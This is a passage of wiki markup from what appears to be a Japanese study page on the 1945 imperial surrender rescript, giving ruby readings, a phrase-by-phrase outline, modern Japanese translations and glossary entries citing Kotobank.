uby&gt;&lt;rb&gt;各&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;〻&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;最&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;善&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぜん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;尽&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せるに&lt;ruby&gt;&lt;rb&gt;拘&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かかわ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らず、&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;必&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かなら&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ずしも&lt;ruby&gt;&lt;rb&gt;好&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;転&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せず、&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;また&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;我&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;われ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;利&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;り&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;あらず。&lt;ruby&gt;&lt;rb&gt;加之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しかのみならず&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;敵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;新&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あらた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;残&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ざん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;虐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ばく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;弾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;使&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;用&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;して、&lt;ruby&gt;&lt;rb&gt;頻&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しきり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;無&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;む&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;辜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;殺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;傷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;惨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;害&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;及&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;およ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぶ&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;真&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;測&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;るべからざるに&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;る。&lt;ruby&gt;&lt;rb&gt;而&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も&lt;ruby&gt;&lt;rb&gt;尚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;交&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;継&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;続&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんか、&lt;ruby&gt;&lt;rb&gt;終&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;我&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;わ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;族&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;滅&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亡&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぼう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;招&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;らい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;するのみならず、&lt;ruby&gt;&lt;rb&gt;延&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;人&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;類&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;るい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;文&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぶん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;明&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をも&lt;ruby&gt;&lt;rb&gt;破&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;は&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;却&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;すべし。&lt;ruby&gt;&lt;rb&gt;斯&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;如&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くんば、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;何&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なに&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;てか&lt;ruby&gt;&lt;rb&gt;億&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;兆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;赤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;保&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほ(っ)&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;皇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;祖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;皇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宗&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;神&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;霊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;謝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゃ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんや、&lt;ruby&gt;&lt;rb&gt;是&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;応&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぜしむるに&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れる&lt;ruby&gt;&lt;rb&gt;所以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆえん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なり。&lt;/p&gt;
&lt;/div&gt;
# [[#抑〻帝國臣民ノ康寧ヲ圖リ]]　（[[#抑〻]]　[[#康寧]]　）
# [[#萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ]]　（[[#萬邦&amp;#xE0102;]]　[[#共榮]]　[[#樂ヲ偕ニスル]]　[[#偕樂]]）
# [[#皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ]]　（[[#皇祖&amp;#xFE00;皇宗]]　[[#遺&amp;#xE0101;範]]）
# [[#朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101;]]　（[[#拳&amp;#xE0101;々]]　[[#措カサル]]）
# [[#曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦]]　（[[#曩ニ]]）
# [[#實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ]]　（[[#自存]]　[[#庻󠄀幾󠄁󠄁]]）
# [[#他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ]]
# [[#固ヨリ朕&amp;#xE0102;カ志ニアラス]]
# [[#然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ]]
# [[#朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰]]
# [[#朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100;]]
# [[#朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁]]
# [[#各〻最善ヲ盡セルニ拘ラス]]
# [[#戰局必スシモ好轉セス]]
# [[#世界ノ大勢亦我ニ利アラス]]
# [[#加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使&amp;#xE0101;用シテ]]
# [[#頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ]]
# [[#慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル]]
# [[#而モ尙交&amp;#xE0101;戰ヲ繼續セムカ]]
# [[#終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス]]
# [[#延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ]]
# [[#斯ノ如クムハ]]
# [[#朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ]]
# [[#皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ]]
# [[#是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ]]

=== 抑〻帝國臣民ノ康寧ヲ圖リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|抑|そも}}{{ruby|〻|そも}}、{{ruby|帝|てい}}{{ruby|国|こく}}{{ruby|臣|しん}}{{ruby|民|みん}}の{{ruby|康|こう}}{{ruby|寧|ねい}}を{{ruby|図|はか}}り、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：そもそも、帝国国民の平穏無事に尽力し、
&lt;/p&gt;
==== 抑〻 ====
*「抑〻」（そもそも）：接続詞の「そも」を二つ重ねた形。いったい（一体）、さて。&lt;ref&gt;[https://kotobank.jp/word/%E6%8A%91-555342#w-2032227 抑(ソモソモ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 康寧 ====
*「康寧」（こうねい）：やすらかなこと。平穏無事であること。安寧。&lt;ref&gt;[https://kotobank.jp/word/%E5%BA%B7%E5%AF%A7-497016#w-497016 康寧(コウネイ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|万|ばん}}{{ruby|邦|ぽう}}{{ruby|共|きょう}}{{ruby|栄|えい}}の{{ruby|楽|たのしみ}}を{{ruby|偕|とも}}にするは、&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも出てくるフレーズ。）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：世界のすべての国々と共に栄える歓びを分かち合うことは、
&lt;/p&gt;
==== 萬邦&amp;#xE0102; ====
*「萬邦&amp;#xE0102;（万邦、ばんぽう）」：多くの国。あらゆる国。すべての国。&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%87%E9%82%A6-607323#w-607323 万邦(バンポウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 共榮 ====
*「共榮（共栄）」：共に栄えること。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%B1%E6%A0%84-477753#w-477753 共栄(キョウエイ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 樂ヲ偕ニスル ====
*「樂ヲ偕ニスル」（たのしみをともにする）：漢語の「[[#偕樂]]」と同じで、「多くの人々とともに楽しむこと。」
**「樂（楽）」（たのしみ）：心身が満たされて、快いこと。&lt;ref&gt;[https://kotobank.jp/word/%E6%A5%BD-43522#w-2040648 楽(ラク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 偕樂 ====
*「偕樂（偕楽）」（かいらく）： 多くの人々とともに楽しむこと&lt;ref&gt;[https://kotobank.jp/word/%E5%81%95%E6%A5%BD-458657#w-458657 偕楽(カイラク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。『[[w:孟子 (書物)|孟子]]』の「梁恵王・上」にある「古之人與民偕樂故能樂也」（古の人は民と偕に楽しむ、故に能く楽しむなり）に由来し、水戸の[[w:偕楽園|偕楽園]]の名にも取り入れられている。
=== 皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|皇|こう}}{{ruby|祖|そ}}{{ruby|皇|こう}}{{ruby|宗|そう}}の{{ruby|遺|い}}{{ruby|範|はん}}にして、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：歴代天皇が遺されたお手本であり、
&lt;/p&gt;
====皇祖&amp;#xFE00;皇宗====
*「皇祖&amp;#xFE00;皇宗（皇祖皇宗）」：天皇の始祖と、当代天皇にいたるまでの歴代の天皇。&lt;ref&gt;[https://kotobank.jp/word/%E7%9A%87%E7%A5%96%E7%9A%87%E5%AE%97-496352#w-496352 皇祖皇宗(コウソコウソウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
====遺&amp;#xE0101;範====
*「遺&amp;#xE0101;範（遺範）」：前人ののこした手本。&lt;ref&gt;[https://kotobank.jp/word/%E9%81%BA%E7%AF%84-2008336 遺範(いはん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|朕|ちん}}の{{ruby|拳|けん}}{{ruby|々|けん}}{{ruby|措|お}}かざる{{ruby|所|ところ}}。&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも出てくるフレーズ。）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしが、常に肝に銘じて大事に守っていることである。&lt;/p&gt;
====拳&amp;#xE0101;々====
*「拳&amp;#xE0101;々」：両手で捧げ持ち、固く握って離さない様子。転じて、熱心に心に持ち続けること。&lt;ref&gt;[https://kotobank.jp/word/%E6%8B%B3%E6%8B%B3-491747 拳拳(ケンケン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
*:『[[w:礼記|礼記]]』の「[[s:ja:禮記/中庸|中庸]]」に出て来る「拳拳服膺」（捧げ持つように心に銘記し、常に忘れないでいる）が有名&lt;ref&gt;[https://kotobank.jp/word/%E6%8B%B3%E6%8B%B3%E6%9C%8D%E8%86%BA-491781#w-491781 拳拳服膺(ケンケンフクヨウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。
====措カサル====
*「措カサル（措かざる）」：そのままにしておかない。
=== 曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|曩|さき}}に{{ruby|米|べい}}{{ruby|英|えい}}{{ruby|二|に}}{{ruby|国|こく}}に{{ruby|宣|せん}}{{ruby|戦|せん}}せる{{ruby|所以|ゆえん}}も{{ruby|亦|また}}、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：先にアメリカ・イギリス二か国に宣戦布告した理由も同様に、&lt;/p&gt;
==== 曩ニ ====
*「曩に」：さきに。「先に」とも表記する。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%88%E3%81%AB-509391#w-1976887 先に(サキニ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ ===
